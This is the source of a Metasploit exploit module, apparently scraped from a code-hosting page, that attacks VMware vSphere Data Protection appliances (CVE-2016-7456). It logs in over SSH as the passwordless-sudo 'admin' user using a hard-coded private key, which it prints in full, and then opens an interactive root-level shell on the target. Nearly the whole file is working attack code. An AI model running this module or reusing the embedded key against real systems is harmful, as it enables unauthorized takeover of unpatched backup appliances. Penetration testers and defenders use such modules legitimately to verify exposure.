Path: blob/master/modules/exploits/linux/ssh/vmware_vdp_known_privkey.rb
28222 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::Remote::SSH12include Msf::Auxiliary::Report1314def initialize(info = {})15super(16update_info(17info,18{19'Name' => 'VMware VDP Known SSH Key',20'Description' => %q{21VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known ssh private key for the local user admin who is a sudoer without password.22},23'Platform' => 'unix',24'Arch' => ARCH_CMD,25'Privileged' => true,26'Targets' => [ [ 'Universal', {} ] ],27'Payload' => {28'Compat' => {29'PayloadType' => 'cmd_interact',30'ConnectionType' => 'find'31}32},33'Author' => ['phroxvs'],34'License' => MSF_LICENSE,35'References' => [36[ 'CVE', '2016-7456' ],37[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2016-0024.html' ],38[ 'ATT&CK', Mitre::Attack::Technique::T1021_004_SSH ],39],40'DisclosureDate' => '2016-12-20',41'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },42'DefaultTarget' => 0,43'Notes' => {44'Stability' => [CRASH_SAFE],45'Reliability' => [REPEATABLE_SESSION],46'SideEffects' => []47}48}49)50)5152register_options(53[54# Since we don't include Tcp, we have to register this manually55Opt::RHOST(),56Opt::RPORT(22)57], self.class58)5960register_advanced_options(61[62OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),63OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])64]65)66end6768# helper methods that normally come from Tcp69def rhost70datastore['RHOST']71end7273def rport74datastore['RPORT']75end7677def do_login78opt_hash = ssh_client_defaults.merge({79auth_methods: ['publickey'],80port: rport,81key_data: [ key_data ]82})83opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']84begin85ssh_socket = nil86::Timeout.timeout(datastore['SSH_TIMEOUT']) do87ssh_socket = Net::SSH.start(rhost, 'admin', opt_hash)88end89rescue Rex::ConnectionError90return91rescue Net::SSH::Disconnect, ::EOFError92print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"93return94rescue ::Timeout::Error95print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"96return97rescue Net::SSH::AuthenticationFailed98print_error "#{rhost}:#{rport} SSH - Failed authentication"99rescue Net::SSH::Exception => e100print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"101return102end103104if ssh_socket105106# Create a new session from the socket, then dump it.107conn = Net::SSH::CommandStream.new(ssh_socket, logger: self)108sockets.delete(ssh_socket.transport.socket)109110return conn111else112return false113end114end115116def exploit117conn = do_login118if conn119print_good 'Successful login'120service_data = {121address: rhost,122port: rport,123protocol: 'tcp',124service_name: 'ssh',125workspace_id: myworkspace_id126}127credential_data = {128username: 'admin',129private_type: :ssh_key,130private_data: key_data,131origin_type: :service,132module_fullname: fullname133}.merge(service_data)134135core = create_credential(credential_data)136login_data = {137core: core,138last_attempted: Time.now139}.merge(service_data)140141create_credential_login(login_data)142handler(conn.lsock)143end144end145146def key_data147<<~EOF148-----BEGIN RSA PRIVATE KEY-----149MIICWQIBAAKBgQCx/XgSpdlvoy1fABui75RYQFTRGPdkHBolTNIAeA91aPfnAr2X150/PuZR/DiHMCYcn6/8A5Jn75YOD3OL0mumJJR1uQ4pyhY+MSptiMYxhvDLIiRRo161519jewWCSH/7jqWH8NhImpVxt5SjWtKhQInTdPkG1dCj8oSn87bt8fKvLcVQIBIwKB152gFuJq3dN+suzAWQOryCYeC1i6cqfICTbQKV39vjtScdajh8IuUbZ4Hq3SK7M9VW3153Od8NvjR+Ch691qSNWRf2saWS5MHiaYGF3xWwZokbJWJWmxlQ+Di9QAyRkjDIuMCR154Sj/vvCa6kWzZlSZWOyNbs38XkWoKXqVYwtnyXrINpZJTAkEA2p0ZrCKQTWBKt7aT155Rvx/8xnoYu9hSXIG1k11ql0HZdRpmveuZe64Gl6oJtgBZMXNdvAds+gvGTVCSfBO156c2ne0wJBANBt3t84oicWJpkzXnUBPOZdheKfAK6QO7weXiRmbILTJ5drPdu8pmxR157c1uQJgYitaSNKglJmz2WNOoaPZz/7zcCQBj8Au8Z5Jsg8pinJsZIvippXGMUCx5W158LKrHBiIZQqyNTeXTKd/DgsEvY6yq+NhRHsvDq5+IP+Wfr83vk+/u16MCQE1qozz3159xzMW2yL10qB8zXoivLNCX1bH26xFyzIXaiH2qE4vJZrCabM0MilSzEtr+lMP3GnZ160gs27cr1aNCRfD7UCQHOXGagsD/ijMGNcWPBQOY3foHzxozoBLGmysAmVz3vX6uyr161Y7oq9O5vDxwpMOAZ9JYTFuzEoWWg16L6SnNVYU4=162-----END RSA PRIVATE KEY-----163EOF164end165end166167168